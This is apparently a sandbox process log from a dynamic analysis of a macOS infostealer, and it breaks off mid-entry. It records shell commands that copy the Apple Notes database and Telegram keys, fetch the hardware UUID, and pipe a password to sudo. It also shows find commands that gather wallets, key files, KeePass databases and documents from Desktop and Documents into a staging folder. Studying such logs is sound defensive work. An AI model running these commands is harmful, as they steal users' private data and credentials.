Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/mkdir
Arguments:	mkdir -p /Users/bernardo/tempFolder-38577473/Telegram/
File size:	101472 bytes
MD5 hash:	f0bf092e00e988f1b0bb90aa63e4eaf3

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:14
Start date (UTC):	13/08/2026
Path:	/bin/cp
Arguments:	cp /Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas /Users/bernardo/tempFolder-38577473/Telegram/
File size:	136912 bytes
MD5 hash:	0f2d1e28fd61d9e19009568104424624

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/bin/rm
Arguments:	rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat
File size:	119216 bytes
MD5 hash:	e3a55166e49d5ce899020d5027329d6a

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c sw_vers -productVersion
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c sw_vers -productVersion
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:17
Start date (UTC):	13/08/2026
Path:	/usr/bin/sw_vers
Arguments:	sw_vers -productVersion
File size:	135536 bytes
MD5 hash:	633d6131df14d85dcd404ec1f8dfb187

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	system_profiler SPHardwareDataType
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	/usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/bin/awk
Arguments:	awk /UUID/ { print $3 }
File size:	302368 bytes
MD5 hash:	49690bede9c79027bd9cf0fa8c0963fc

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	-
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c osascript -e 'set volume without output muted'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c osascript -e 'set volume without output muted'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/bin/osascript
Arguments:	osascript -e set volume without output muted
File size:	175744 bytes
MD5 hash:	da83d05e7bbeaaf08a954029148e5212

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/mv
Arguments:	mv /Users/bernardo/tempFolder-38577473 /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber
File size:	119344 bytes
MD5 hash:	456e83aa18c2a735cfeb3018f8690ec7

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	/usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel full
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:19
Start date (UTC):	13/08/2026
Path:	/usr/bin/csrutil
Arguments:	/usr/bin/csrutil status
File size:	381952 bytes
MD5 hash:	c452c86a811749946b6f5c4d8b688ecc

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	/usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	/usr/sbin/system_profiler -nospawn -xml SPDisplaysDataType -detailLevel full
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c ls -1 /Applications 2>/dev/null
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c ls -1 /Applications 2>/dev/null
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/bin/ls
Arguments:	ls -1 /Applications
File size:	154624 bytes
MD5 hash:	21b236f52669ba7f15a7fa83a10fbb6a

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:20
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	sudo -S cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	-
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c system_profiler SPHardwareDataType 2>/dev/null \| awk '/UUID/ { print $3 }'
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	system_profiler SPHardwareDataType
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/sbin/system_profiler
Arguments:	/usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
File size:	171888 bytes
MD5 hash:	2427733d6a063739fe4346562fad88bf

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/awk
Arguments:	awk /UUID/ { print $3 }
File size:	302368 bytes
MD5 hash:	49690bede9c79027bd9cf0fa8c0963fc

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	sudo -S find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	-
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/find
Arguments:	find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber
File size:	171280 bytes
MD5 hash:	c49e29c6a3b91cbb4e61922b96952478

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
